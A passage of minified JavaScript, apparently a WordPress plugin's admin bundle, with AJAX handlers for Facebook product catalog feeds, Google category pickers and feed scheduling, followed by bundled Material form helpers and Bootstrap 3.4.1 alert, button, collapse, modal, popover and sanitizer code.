t=o()(this).val();s.val(o()(this).find("option:selected").attr("data-name")),l.removeClass("hide"),n.Z.reloadFragment("product_feed_schedule",{product_feed_id:t})}))}};r.Z.dropdown_data.hasOwnProperty("get_product_feed_ids")&&r.Z.dropdown_data.get_product_feed_ids.hasOwnProperty(a)?h():(n.Z.addLoader(e),e.find("option[value]").not(".select2-add").remove(),o().ajax({url:aepc_admin.ajax_url,data:{product_catalog_id:a,action:aepc_admin.actions.get_product_feed_ids.name,_wpnonce:aepc_admin.actions.get_product_feed_ids.nonce},success:function(i){!1===i.success?(n.Z.addMessage(o()("#fb-update-catalog"),"error",i.data),t.select2("val","")):(r.Z.dropdown_data.hasOwnProperty("get_product_feed_ids")||(r.Z.dropdown_data.get_product_feed_ids={}),r.Z.dropdown_data.get_product_feed_ids[a]=i.data,h()),n.Z.removeLoader(e)},dataType:"json"}))}};!function(){var e=t.val();if(!(t.length<=0)){var s=function(){if(r.Z.dropdown_data.hasOwnProperty("get_product_catalog_ids")){var s=o().merge([{id:"",name:""}],r.Z.dropdown_data.get_product_catalog_ids);if(t.find("option").remove(),t.append(o().map(s,(function(t,i){return o()("<option>",{val:t.id,text:t.name?t.name+" (#"+t.id+")":"",selected:t.id===e,"data-name":t.name})}))),t.on("change",(function(){i.val(o()(this).find("option:selected").attr("data-name")),h()})),t.find("option:selected").length){var n=r.Z.unsaved;t.trigger("change"),r.Z.unsaved=n}}};r.Z.dropdown_data.hasOwnProperty("get_product_catalog_ids")?s():(n.Z.addLoader(t),o().ajax({url:aepc_admin.ajax_url,data:{action:aepc_admin.actions.get_product_catalog_ids.name,_wpnonce:aepc_admin.actions.get_product_catalog_ids.nonce},success:function(e){!1===e.success?n.Z.addMessage(o()("#fb-update-catalog"),"error",e.data):(r.Z.dropdown_data.get_product_catalog_ids=e.data,s()),n.Z.removeLoader(t)},dataType:"json"}))}}(),h()},i=function(){o()(".js-google-category").each((function(){!function t(e){e.select2({data:function(){var t=e.data("options");return{results:t?t.map((function(t){return{id:t,text:t}})):[]}}}),e.on("change",(function(){var e=o()(this),i=e.closest(".js-categories-wrapper"),s=e.clone().val("").data("options","").data("level",parseInt(e.data("level"))+1);e.nextAll("input").select2("destroy").remove(),n.Z.addLoader(i),o().ajax({url:aepc_admin.ajax_url,method:"POST",data:{parents:i.find("input.js-google-category").map((function(){return o()(this).val()})).get(),action:aepc_admin.actions.get_google_categories.name,_wpnonce:aepc_admin.actions.get_google_categories.nonce},complete:function(){n.Z.removeLoader(i)},success:function(i){0!==i.length&&(s.data("options",i).insertAfter(e),t(s))},dataType:"json"})}))}(o()(this))})),o()("input.multi-tags[data-tags]").each((function(){var t=o()(this);t.select2({tags:function(){return t.data("tags")}})}))},s=function s(){!t&&0!==o()(a.Z.fragments.product_feed_status).length&&o()(a.Z.fragments.product_feed_status).hasClass("updating")&&setTimeout((function(){t=!0,n.Z.reloadFragment("product_feed_status",{beforeRender:function(){n.Z.removeAllMainMessages()},success:function(o){t=!1,i(),e(),s()}},!1)}),3e3)};o()(document).on("fragment_html_refreshed",(function(){i(),s()})),o()(document).on("click",".js-feed-delete",(function(t){t.preventDefault();var e=o()(this),i=o()("#modal-confirm-delete"),s=e.data("feed-id");i.modal("show",e).one("click",".btn-ok",(function(){i.modal("hide"),n.Z.addLoader(e.closest(".panel")),o().ajax({url:aepc_admin.ajax_url,method:"POST",data:{name:s,action:aepc_admin.actions.delete_product_catalog_feed.name,_wpnonce:aepc_admin.actions.delete_product_catalog_feed.nonce},success:function(t){window.location.reload(!1)},dataType:"json"})}))})),o()(document).on("click",".js-feed-edit",(function(t){t.preventDefault(),o()(".js-edit-form").collapse("show")})),o()(document).on("click",".js-product-feed-refresh",(function(t){t.preventDefault();var e=o()(this),r=o()("#modal-confirm-refresh-product-feed"),l=e.data("feed-id");r.modal("show",e).one("click",".btn-ok",(function(){r.modal("hide"),n.Z.addLoader(e.closest(".panel")),n.Z.removeAllMainMessages(),o().ajax({url:aepc_admin.ajax_url,method:"POST",data:{name:l,action:aepc_admin.actions.refresh_product_catalog_feed.name,_wpnonce:aepc_admin.actions.refresh_product_catalog_feed.nonce},complete:function(){n.Z.removeLoader(e.closest(".panel"))},success:function(t){n.Z.removeAllMainMessages(),n.Z.refreshFragmentHTML(o()(a.Z.fragments.product_feed_status),t),i(),s()},dataType:"json"})}))})),o()(document).on("click",".js-product-feed-save-interval",(function(){var t=o()(this),e=t.closest(".js-refresh-interval-option"),i=o()("#product_catalog_config_refresh_cycle"),s=o()("#product_catalog_config_refresh_cycle_type"),a=t.data("feed-id");n.Z.addLoader(e),o().ajax({url:aepc_admin.ajax_url,method:"POST",data:{product_catalog_id:a,cycle:i.val(),cycle_type:s.val(),action:aepc_admin.actions.save_product_feed_refresh_interval.name,_wpnonce:aepc_admin.actions.save_product_feed_refresh_interval.nonce},complete:function(){n.Z.removeLoader(e)},success:function(t){n.Z.addMessagesFromResponse(t),r.Z.set_saved()},dataType:"json"})})),o()(document).on("click",".js-catalog-option",(function(t){var e=o()(this).closest("#automatic-facebook-options").find(".panel"),i=o()(o()(this).data("target"));if(!i.is(".hide"))return t;e.addClass("hide"),i.removeClass("hide")})).on("click",'[data-toggle="schedule-interval"]',(function(t){var e=o()('[data-schedule-option="'+o()(this).data("dep")+'"]');o()("[data-schedule-option]").addClass("hide"),e.removeClass("hide")})),s(),i(),e()}))},6969:function(t,e,i){"use strict";var s=i(3609),o=i.n(s),n=(i(8553),i(2290)),a=i(6469);function r(t){return(r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}var l={alert_unsaved:function(){o()(".wrap form").on("change.unsaved",":input:not(#date-range)",(function(){a.Z.set_unsaved()})).on("submit.unsaved",(function(){a.Z.set_saved()})),window.onbeforeunload=function(){if(a.Z.unsaved)return aepc_admin.unsaved}},unset_alert_unsaved:function(){o()(".wrap form").off("change.unsaved submit.unsaved"),window.onbeforeunload=function(){}},apply_autocomplete:function(t,e){t.is("select")?t.select2({data:{results:e}}):t.select2({tags:e})},addLoader:function(t){void 0!==t.data("select2")?t.data("select2").container.addClass("loading-data"):t.is("div, form")?t.addClass("loading-data loading-box"):t.is("a")&&t.addClass("loading-data")},removeLoader:function(t){void 0!==t.data("select2")?t.data("select2").container.removeClass("loading-data"):t.is("div, form")?t.removeClass("loading-data loading-box"):t.is("a")&&t.removeClass("loading-data")},removeMessage:function(t,e){"error"===e&&(e="danger"),t.find(".alert-"+e).length&&t.find(".alert-"+e).remove()},removeMainMessages:function(t){l.removeMessage(o()(".plugin-content"),t)},removeAllMainMessages:function(){l.removeMainMessages("success"),l.removeMainMessages("error")},addMessage:function(t,e,i){"error"===e&&(e="danger");var s="object"===r(i)?i:{text:i},n=s.text,a=s.dismiss_action,h=void 0!==a&&a,c=o()("<button />",{type:"button",class:"close","data-dismiss":"alert",text:"×"});h&&c.data("data-dismiss-action",h),l.removeMessage(t,e),t.prepend(o()("<div />",{class:"alert alert-"+e+" alert-dismissable",role:"alert",html:n}).prepend(c))},addMessagesFromResponse:function(t){t.data.hasOwnProperty("messages")?(t.data.messages.length&&l.removeMessage(o()(".plugin-content"),"success"),t.data.messages.hasOwnProperty("success")&&t.data.messages.success.hasOwnProperty("main")&&t.data.messages.success.main.forEach((function(t){l.addMessage(o()(".plugin-content .alert-wrap"),"success",t)})),t.data.messages.hasOwnProperty("error")&&t.data.messages.error.hasOwnProperty("main")&&t.data.messages.error.main.forEach((function(t){l.addMessage(o()(".plugin-content .alert-wrap"),"error",t)}))):t.hasOwnProperty("success")&&!t.success&&t.data.hasOwnProperty("main")&&t.data.main.forEach((function(t){l.addMessage(o()(".plugin-content .alert-wrap"),"error",t)}))},refreshFragmentHTML:function(t,e){e.success?(l.unset_alert_unsaved(),t.replaceWith(e.data.html),l.addMessagesFromResponse(e),a.Z.bootstrap_components({currentTarget:t}),a.Z.custom_dropdown(),a.Z.fields_components(),a.Z.analyzed_distance(),l.alert_unsaved(),o()(document).triggerHandler("fragment_html_refreshed")):l.addMessagesFromResponse(e)},reloadFragment:function(t,e){var i=!(arguments.length>2&&void 0!==arguments[2])||arguments[2];if(n.Z.fragments.hasOwnProperty(t)&&aepc_admin.actions.hasOwnProperty("load_"+t)){var s=o()(n.Z.fragments[t]),a=function(){},r=function(){},h={action:aepc_admin.actions["load_"+t].name,_wpnonce:aepc_admin.actions["load_"+t].nonce};i&&o().inArray(t,["sidebar"])<0&&l.removeMessage(o()(".plugin-content"),"success"),i&&l.addLoader(s),window.location.href.slice(window.location.href.indexOf("?")+1).split("&").forEach((function(t){var e=t.split("=");o().inArray(e[0],["page","tab"])&&(h[e[0]]=e[1])})),void 0!==e&&(e.hasOwnProperty("success")&&(a=e.success,delete e.success),e.hasOwnProperty("beforeRender")&&(r=e.beforeRender,delete e.beforeRender),o().extend(h,e)),o().ajax({url:aepc_admin.ajax_url,data:h,complete:function(){l.removeLoader(s)},success:function(t){t.success&&(r(),l.refreshFragmentHTML(s,t)),a(t)},dataType:"json"})}}};e.Z=l},1801:function(t,e,i){!function(t){function e(e){var i=t(e);i.prop("disabled")||i.closest(".form-group").addClass("is-focused")}function i(i){var o=!1;(i.is(t.material.options.checkboxElements)||i.is(t.material.options.radioElements))&&(o=!0),i.closest("label").hover((function(){var i,s,n=t(this).find("input"),a=n.prop("disabled");o&&(s=a,((i=t(this)).hasClass("checkbox-inline")||i.hasClass("radio-inline")?i:i.closest(".checkbox").length?i.closest(".checkbox"):i.closest(".radio")).toggleClass("disabled",s)),a||e(n)}),(function(){s(t(this).find("input"))}))}function s(e){t(e).closest(".form-group").removeClass("is-focused")}t.expr[":"].notmdproc=function(e){return!t(e).data("mdproc")},t.material={options:{validate:!0,input:!0,ripples:!0,checkbox:!0,togglebutton:!0,radio:!0,arrive:!0,autofill:!1,withRipples:[".btn:not(.btn-link)",".card-image",".navbar a:not(.withoutripple)",".dropdown-menu a",".nav-tabs a:not(.withoutripple)",".withripple",".pagination li:not(.active):not(.disabled) a:not(.withoutripple)"].join(","),inputElements:"input.form-control, textarea.form-control, select.form-control",checkboxElements:".checkbox > label > input[type=checkbox], label.checkbox-inline > input[type=checkbox]",togglebuttonElements:".togglebutton > label > input[type=checkbox]",radioElements:".radio > label > input[type=radio], label.radio-inline > input[type=radio]"},checkbox:function(e){i(t(e||this.options.checkboxElements).filter(":notmdproc").data("mdproc",!0).after("<span class='checkbox-material'><span class='check'></span></span>"))},togglebutton:function(e){i(t(e||this.options.togglebuttonElements).filter(":notmdproc").data("mdproc",!0).after("<span class='toggle'></span>"))},radio:function(e){i(t(e||this.options.radioElements).filter(":notmdproc").data("mdproc",!0).after("<span class='circle'></span><span class='check'></span>"))},input:function(e){t(e||this.options.inputElements).filter(":notmdproc").data("mdproc",!0).each((function(){var e=t(this),i=e.closest(".form-group");if(0!==i.length||"hidden"===e.attr("type")||e.attr("hidden")||(e.wrap("<div class='form-group'></div>"),i=e.closest(".form-group")),e.attr("data-hint")&&(e.after("<p class='help-block'>"+e.attr("data-hint")+"</p>"),e.removeAttr("data-hint")),t.each({"input-lg":"form-group-lg","input-sm":"form-group-sm"},(function(t,s){e.hasClass(t)&&(e.removeClass(t),i.addClass(s))})),e.hasClass("floating-label")){var s=e.attr("placeholder");e.attr("placeholder",null).removeClass("floating-label");var o=e.attr("id"),n="";o&&(n="for='"+o+"'"),i.addClass("label-floating"),e.after("<label "+n+"class='control-label'>"+s+"</label>")}null!==e.val()&&"undefined"!=e.val()&&""!==e.val()||i.addClass("is-empty"),i.find("input[type=file]").length>0&&i.addClass("is-fileinput")}))},attachInputEventHandlers:function(){var i=this.options.validate;t(document).on("keydown paste",".form-control",(function(e){var i;(void 0===(i=e).which||"number"==typeof i.which&&i.which>0&&!i.ctrlKey&&!i.metaKey&&!i.altKey&&8!=i.which&&9!=i.which&&13!=i.which&&16!=i.which&&17!=i.which&&20!=i.which&&27!=i.which)&&t(this).closest(".form-group").removeClass("is-empty")})).on("keyup change",".form-control",(function(){var e=t(this),s=e.closest(".form-group"),o=void 0===e[0].checkValidity||e[0].checkValidity();""===e.val()?s.addClass("is-empty"):s.removeClass("is-empty"),i&&(o?s.removeClass("has-error"):s.addClass("has-error"))})).on("focus",".form-control, .form-group.is-fileinput",(function(){e(this)})).on("blur",".form-control, .form-group.is-fileinput",(function(){s(this)})).on("change",".form-group input",(function(){var e=t(this);if("file"!=e.attr("type")){var i=e.closest(".form-group");e.val()?i.removeClass("is-empty"):i.addClass("is-empty")}})).on("change",".form-group.is-fileinput input[type='file']",(function(){var e=t(this).closest(".form-group"),i="";t.each(this.files,(function(t,e){i+=e.name+", "})),(i=i.substring(0,i.length-2))?e.removeClass("is-empty"):e.addClass("is-empty"),e.find("input.form-control[readonly]").val(i)}))},ripples:function(e){t(e||this.options.withRipples).ripples()},autofill:function(){var e=setInterval((function(){t("input[type!=checkbox]").each((function(){var e=t(this);e.val()&&e.val()!==e.attr("value")&&e.trigger("change")}))}),100);setTimeout((function(){clearInterval(e)}),1e4)},attachAutofillEventHandlers:function(){var e;t(document).on("focus","input",(function(){var i=t(this).parents("form").find("input").not("[type=file]");e=setInterval((function(){i.each((function(){var e=t(this);e.val()!==e.attr("value")&&e.trigger("change")}))}),100)})).on("blur",".form-group input",(function(){clearInterval(e)}))},init:function(e){this.options=t.extend({},this.options,e);var i=t(document);t.fn.ripples&&this.options.ripples&&this.ripples(),this.options.input&&(this.input(),this.attachInputEventHandlers()),this.options.checkbox&&this.checkbox(),this.options.togglebutton&&this.togglebutton(),this.options.radio&&this.radio(),this.options.autofill&&(this.autofill(),this.attachAutofillEventHandlers()),document.arrive&&this.options.arrive&&(t.fn.ripples&&this.options.ripples&&i.arrive(this.options.withRipples,(function(){t.material.ripples(t(this))})),this.options.input&&i.arrive(this.options.inputElements,(function(){t.material.input(t(this))})),this.options.checkbox&&i.arrive(this.options.checkboxElements,(function(){t.material.checkbox(t(this))})),this.options.radio&&i.arrive(this.options.radioElements,(function(){t.material.radio(t(this))})),this.options.togglebutton&&i.arrive(this.options.togglebuttonElements,(function(){t.material.togglebutton(t(this))})))}}}(i(3609))},90:function(t,e,i){!function(t){"use strict";var e='[data-dismiss="alert"]',i=function(i){t(i).on("click",e,this.close)};i.VERSION="3.4.1",i.TRANSITION_DURATION=150,i.prototype.close=function(e){var s=t(this),o=s.attr("data-target");o||(o=(o=s.attr("href"))&&o.replace(/.*(?=#[^\s]*$)/,"")),o="#"===o?[]:o;var n=t(document).find(o);function a(){n.detach().trigger("closed.bs.alert").remove()}e&&e.preventDefault(),n.length||(n=s.closest(".alert")),n.trigger(e=t.Event("close.bs.alert")),e.isDefaultPrevented()||(n.removeClass("in"),t.support.transition&&n.hasClass("fade")?n.one("bsTransitionEnd",a).emulateTransitionEnd(i.TRANSITION_DURATION):a())};var s=t.fn.alert;t.fn.alert=function(e){return this.each((function(){var s=t(this),o=s.data("bs.alert");o||s.data("bs.alert",o=new i(this)),"string"==typeof e&&o[e].call(s)}))},t.fn.alert.Constructor=i,t.fn.alert.noConflict=function(){return t.fn.alert=s,this},t(document).on("click.bs.alert.data-api",e,i.prototype.close)}(i(3609))},5351:function(t,e,i){!function(t){"use strict";var e=function(i,s){this.$element=t(i),this.options=t.extend({},e.DEFAULTS,s),this.isLoading=!1};function i(i){return this.each((function(){var s=t(this),o=s.data("bs.button"),n="object"==typeof i&&i;o||s.data("bs.button",o=new e(this,n)),"toggle"==i?o.toggle():i&&o.setState(i)}))}e.VERSION="3.4.1",e.DEFAULTS={loadingText:"loading..."},e.prototype.setState=function(e){var i="disabled",s=this.$element,o=s.is("input")?"val":"html",n=s.data();e+="Text",null==n.resetText&&s.data("resetText",s[o]()),setTimeout(t.proxy((function(){s[o](null==n[e]?this.options[e]:n[e]),"loadingText"==e?(this.isLoading=!0,s.addClass(i).attr(i,i).prop(i,!0)):this.isLoading&&(this.isLoading=!1,s.removeClass(i).removeAttr(i).prop(i,!1))}),this),0)},e.prototype.toggle=function(){var t=!0,e=this.$element.closest('[data-toggle="buttons"]');if(e.length){var i=this.$element.find("input");"radio"==i.prop("type")?(i.prop("checked")&&(t=!1),e.find(".active").removeClass("active"),this.$element.addClass("active")):"checkbox"==i.prop("type")&&(i.prop("checked")!==this.$element.hasClass("active")&&(t=!1),this.$element.toggleClass("active")),i.prop("checked",this.$element.hasClass("active")),t&&i.trigger("change")}else this.$element.attr("aria-pressed",!this.$element.hasClass("active")),this.$element.toggleClass("active")};var s=t.fn.button;t.fn.button=i,t.fn.button.Constructor=e,t.fn.button.noConflict=function(){return t.fn.button=s,this},t(document).on("click.bs.button.data-api",'[data-toggle^="button"]',(function(e){var s=t(e.target).closest(".btn");i.call(s,"toggle"),t(e.target).is('input[type="radio"], input[type="checkbox"]')||(e.preventDefault(),s.is("input,button")?s.trigger("focus"):s.find("input:visible,button:visible").first().trigger("focus"))})).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',(function(e){t(e.target).closest(".btn").toggleClass("focus",/^focus(in)?$/.test(e.type))}))}(i(3609))},666:function(t,e,i){!function(t){"use strict";var e=function(i,s){this.$element=t(i),this.options=t.extend({},e.DEFAULTS,s),this.$trigger=t('[data-toggle="collapse"][href="#'+i.id+'"],[data-toggle="collapse"][data-target="#'+i.id+'"]'),this.transitioning=null,this.options.parent?this.$parent=this.getParent():this.addAriaAndCollapsedClass(this.$element,this.$trigger),this.options.toggle&&this.toggle()};function i(e){var i,s=e.attr("data-target")||(i=e.attr("href"))&&i.replace(/.*(?=#[^\s]+$)/,"");return t(document).find(s)}function s(i){return this.each((function(){var s=t(this),o=s.data("bs.collapse"),n=t.extend({},e.DEFAULTS,s.data(),"object"==typeof i&&i);!o&&n.toggle&&/show|hide/.test(i)&&(n.toggle=!1),o||s.data("bs.collapse",o=new e(this,n)),"string"==typeof i&&o[i]()}))}e.VERSION="3.4.1",e.TRANSITION_DURATION=350,e.DEFAULTS={toggle:!0},e.prototype.dimension=function(){return this.$element.hasClass("width")?"width":"height"},e.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var i,o=this.$parent&&this.$parent.children(".panel").children(".in, .collapsing");if(!(o&&o.length&&(i=o.data("bs.collapse"))&&i.transitioning)){var n=t.Event("show.bs.collapse");if(this.$element.trigger(n),!n.isDefaultPrevented()){o&&o.length&&(s.call(o,"hide"),i||o.data("bs.collapse",null));var a=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[a](0).attr("aria-expanded",!0),this.$trigger.removeClass("collapsed").attr("aria-expanded",!0),this.transitioning=1;var r=function(){this.$element.removeClass("collapsing").addClass("collapse in")[a](""),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!t.support.transition)return r.call(this);var l=t.camelCase(["scroll",a].join("-"));this.$element.one("bsTransitionEnd",t.proxy(r,this)).emulateTransitionEnd(e.TRANSITION_DURATION)[a](this.$element[0][l])}}}},e.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var i=t.Event("hide.bs.collapse");if(this.$element.trigger(i),!i.isDefaultPrevented()){var s=this.dimension();this.$element[s](this.$element[s]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse in").attr("aria-expanded",!1),this.$trigger.addClass("collapsed").attr("aria-expanded",!1),this.transitioning=1;var o=function(){this.transitioning=0,this.$element.removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")};if(!t.support.transition)return o.call(this);this.$element[s](0).one("bsTransitionEnd",t.proxy(o,this)).emulateTransitionEnd(e.TRANSITION_DURATION)}}},e.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()},e.prototype.getParent=function(){return t(document).find(this.options.parent).find('[data-toggle="collapse"][data-parent="'+this.options.parent+'"]').each(t.proxy((function(e,s){var o=t(s);this.addAriaAndCollapsedClass(i(o),o)}),this)).end()},e.prototype.addAriaAndCollapsedClass=function(t,e){var i=t.hasClass("in");t.attr("aria-expanded",i),e.toggleClass("collapsed",!i).attr("aria-expanded",i)};var o=t.fn.collapse;t.fn.collapse=s,t.fn.collapse.Constructor=e,t.fn.collapse.noConflict=function(){return t.fn.collapse=o,this},t(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',(function(e){var o=t(this);o.attr("data-target")||e.preventDefault();var n=i(o),a=n.data("bs.collapse")?"toggle":o.data();s.call(n,a)}))}(i(3609))},2238:function(t,e,i){!function(t){"use strict";var e=function(e,i){this.options=i,this.$body=t(document.body),this.$element=t(e),this.$dialog=this.$element.find(".modal-dialog"),this.$backdrop=null,this.isShown=null,this.originalBodyPad=null,this.scrollbarWidth=0,this.ignoreBackdropClick=!1,this.fixedContent=".navbar-fixed-top, .navbar-fixed-bottom",this.options.remote&&this.$element.find(".modal-content").load(this.options.remote,t.proxy((function(){this.$element.trigger("loaded.bs.modal")}),this))};function i(i,s){return this.each((function(){var o=t(this),n=o.data("bs.modal"),a=t.extend({},e.DEFAULTS,o.data(),"object"==typeof i&&i);n||o.data("bs.modal",n=new e(this,a)),"string"==typeof i?n[i](s):a.show&&n.show(s)}))}e.VERSION="3.4.1",e.TRANSITION_DURATION=300,e.BACKDROP_TRANSITION_DURATION=150,e.DEFAULTS={backdrop:!0,keyboard:!0,show:!0},e.prototype.toggle=function(t){return this.isShown?this.hide():this.show(t)},e.prototype.show=function(i){var s=this,o=t.Event("show.bs.modal",{relatedTarget:i});this.$element.trigger(o),this.isShown||o.isDefaultPrevented()||(this.isShown=!0,this.checkScrollbar(),this.setScrollbar(),this.$body.addClass("modal-open"),this.escape(),this.resize(),this.$element.on("click.dismiss.bs.modal",'[data-dismiss="modal"]',t.proxy(this.hide,this)),this.$dialog.on("mousedown.dismiss.bs.modal",(function(){s.$element.one("mouseup.dismiss.bs.modal",(function(e){t(e.target).is(s.$element)&&(s.ignoreBackdropClick=!0)}))})),this.backdrop((function(){var o=t.support.transition&&s.$element.hasClass("fade");s.$element.parent().length||s.$element.appendTo(s.$body),s.$element.show().scrollTop(0),s.adjustDialog(),o&&s.$element[0].offsetWidth,s.$element.addClass("in"),s.enforceFocus();var n=t.Event("shown.bs.modal",{relatedTarget:i});o?s.$dialog.one("bsTransitionEnd",(function(){s.$element.trigger("focus").trigger(n)})).emulateTransitionEnd(e.TRANSITION_DURATION):s.$element.trigger("focus").trigger(n)})))},e.prototype.hide=function(i){i&&i.preventDefault(),i=t.Event("hide.bs.modal"),this.$element.trigger(i),this.isShown&&!i.isDefaultPrevented()&&(this.isShown=!1,this.escape(),this.resize(),t(document).off("focusin.bs.modal"),this.$element.removeClass("in").off("click.dismiss.bs.modal").off("mouseup.dismiss.bs.modal"),this.$dialog.off("mousedown.dismiss.bs.modal"),t.support.transition&&this.$element.hasClass("fade")?this.$element.one("bsTransitionEnd",t.proxy(this.hideModal,this)).emulateTransitionEnd(e.TRANSITION_DURATION):this.hideModal())},e.prototype.enforceFocus=function(){t(document).off("focusin.bs.modal").on("focusin.bs.modal",t.proxy((function(t){document===t.target||this.$element[0]===t.target||this.$element.has(t.target).length||this.$element.trigger("focus")}),this))},e.prototype.escape=function(){this.isShown&&this.options.keyboard?this.$element.on("keydown.dismiss.bs.modal",t.proxy((function(t){27==t.which&&this.hide()}),this)):this.isShown||this.$element.off("keydown.dismiss.bs.modal")},e.prototype.resize=function(){this.isShown?t(window).on("resize.bs.modal",t.proxy(this.handleUpdate,this)):t(window).off("resize.bs.modal")},e.prototype.hideModal=function(){var t=this;this.$element.hide(),this.backdrop((function(){t.$body.removeClass("modal-open"),t.resetAdjustments(),t.resetScrollbar(),t.$element.trigger("hidden.bs.modal")}))},e.prototype.removeBackdrop=function(){this.$backdrop&&this.$backdrop.remove(),this.$backdrop=null},e.prototype.backdrop=function(i){var s=this,o=this.$element.hasClass("fade")?"fade":"";if(this.isShown&&this.options.backdrop){var n=t.support.transition&&o;if(this.$backdrop=t(document.createElement("div")).addClass("modal-backdrop "+o).appendTo(this.$body),this.$element.on("click.dismiss.bs.modal",t.proxy((function(t){this.ignoreBackdropClick?this.ignoreBackdropClick=!1:t.target===t.currentTarget&&("static"==this.options.backdrop?this.$element[0].focus():this.hide())}),this)),n&&this.$backdrop[0].offsetWidth,this.$backdrop.addClass("in"),!i)return;n?this.$backdrop.one("bsTransitionEnd",i).emulateTransitionEnd(e.BACKDROP_TRANSITION_DURATION):i()}else if(!this.isShown&&this.$backdrop){this.$backdrop.removeClass("in");var a=function(){s.removeBackdrop(),i&&i()};t.support.transition&&this.$element.hasClass("fade")?this.$backdrop.one("bsTransitionEnd",a).emulateTransitionEnd(e.BACKDROP_TRANSITION_DURATION):a()}else i&&i()},e.prototype.handleUpdate=function(){this.adjustDialog()},e.prototype.adjustDialog=function(){var t=this.$element[0].scrollHeight>document.documentElement.clientHeight;this.$element.css({paddingLeft:!this.bodyIsOverflowing&&t?this.scrollbarWidth:"",paddingRight:this.bodyIsOverflowing&&!t?this.scrollbarWidth:""})},e.prototype.resetAdjustments=function(){this.$element.css({paddingLeft:"",paddingRight:""})},e.prototype.checkScrollbar=function(){var t=window.innerWidth;if(!t){var e=document.documentElement.getBoundingClientRect();t=e.right-Math.abs(e.left)}this.bodyIsOverflowing=document.body.clientWidth<t,this.scrollbarWidth=this.measureScrollbar()},e.prototype.setScrollbar=function(){var e=parseInt(this.$body.css("padding-right")||0,10);this.originalBodyPad=document.body.style.paddingRight||"";var i=this.scrollbarWidth;this.bodyIsOverflowing&&(this.$body.css("padding-right",e+i),t(this.fixedContent).each((function(e,s){var o=s.style.paddingRight,n=t(s).css("padding-right");t(s).data("padding-right",o).css("padding-right",parseFloat(n)+i+"px")})))},e.prototype.resetScrollbar=function(){this.$body.css("padding-right",this.originalBodyPad),t(this.fixedContent).each((function(e,i){var s=t(i).data("padding-right");t(i).removeData("padding-right"),i.style.paddingRight=s||""}))},e.prototype.measureScrollbar=function(){var t=document.createElement("div");t.className="modal-scrollbar-measure",this.$body.append(t);var e=t.offsetWidth-t.clientWidth;return this.$body[0].removeChild(t),e};var s=t.fn.modal;t.fn.modal=i,t.fn.modal.Constructor=e,t.fn.modal.noConflict=function(){return t.fn.modal=s,this},t(document).on("click.bs.modal.data-api",'[data-toggle="modal"]',(function(e){var s=t(this),o=s.attr("href"),n=s.attr("data-target")||o&&o.replace(/.*(?=#[^\s]+$)/,""),a=t(document).find(n),r=a.data("bs.modal")?"toggle":t.extend({remote:!/#/.test(o)&&o},a.data(),s.data());s.is("a")&&e.preventDefault(),a.one("show.bs.modal",(function(t){t.isDefaultPrevented()||a.one("hidden.bs.modal",(function(){s.is(":visible")&&s.trigger("focus")}))})),i.call(a,r,this)}))}(i(3609))},8391:function(t,e,i){!function(t){"use strict";var e=function(t,e){this.init("popover",t,e)};if(!t.fn.tooltip)throw new Error("Popover requires tooltip.js");e.VERSION="3.4.1",e.DEFAULTS=t.extend({},t.fn.tooltip.Constructor.DEFAULTS,{placement:"right",trigger:"click",content:"",template:'<div class="popover" role="tooltip"><div class="arrow"></div><h3 class="popover-title"></h3><div class="popover-content"></div></div>'}),(e.prototype=t.extend({},t.fn.tooltip.Constructor.prototype)).constructor=e,e.prototype.getDefaults=function(){return e.DEFAULTS},e.prototype.setContent=function(){var t=this.tip(),e=this.getTitle(),i=this.getContent();if(this.options.html){var s=typeof i;this.options.sanitize&&(e=this.sanitizeHtml(e),"string"===s&&(i=this.sanitizeHtml(i))),t.find(".popover-title").html(e),t.find(".popover-content").children().detach().end()["string"===s?"html":"append"](i)}else t.find(".popover-title").text(e),t.find(".popover-content").children().detach().end().text(i);t.removeClass("fade top bottom left right in"),t.find(".popover-title").html()||t.find(".popover-title").hide()},e.prototype.hasContent=function(){return this.getTitle()||this.getContent()},e.prototype.getContent=function(){var t=this.$element,e=this.options;return t.attr("data-content")||("function"==typeof e.content?e.content.call(t[0]):e.content)},e.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")};var i=t.fn.popover;t.fn.popover=function(i){return this.each((function(){var s=t(this),o=s.data("bs.popover"),n="object"==typeof i&&i;!o&&/destroy|hide/.test(i)||(o||s.data("bs.popover",o=new e(this,n)),"string"==typeof i&&o[i]())}))},t.fn.popover.Constructor=e,t.fn.popover.noConflict=function(){return t.fn.popover=i,this}}(i(3609))},8459:function(t,e,i){!function(t){"use strict";var e=["sanitize","whiteList","sanitizeFn"],i=["background","cite","href","itemtype","longdesc","poster","src","xlink:href"],s=/^(?:(?:https?|mailto|ftp|tel|file):|[^&:/?#]*(?:[/?#]|$))/gi,o=/^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[a-z0-9+/]+=*$/i;function n(e,n){var a=e.nodeName.toLowerCase();if(-1!==t.inArray(a,n))return-1===t.inArray(a,i)||Boolean(e.nodeValue.match(s)||e.nodeValue.match(o));for(var r=t(n).filter((function(t,e){return e instanceof RegExp})),l=0,h=r.length;l<h;l++)if(a.match(r[l]))return!0;return!1}function a(e,i,s){if(0===e.length)return e;if(s&&"function"==typeof s)return s(e);if(!document.implementation||!document.implementation.createHTMLDocument)return e;var o=document.implementation.createHTMLDocument("sanitization");o.body.innerHTML=e;for(var a=t.map(i,(function(t,e){return e})),r=t(o.body).find("*"),l=0,h=r.length;l<h;l++){var c=r[l],d=c.nodeName.toLowerCase();if(-1!==t.inArray(d,a))for(var p=t.map(c.attributes,(function(t){return t})),u=[].concat(i["*"]||[],i[d]||[]),f=0,g=p.length;f<g;f++)n(p[f],u)||c.removeAttribute(p[f].nodeName);else c.parentNode.removeChild(c)}return o.body.innerHTML}var 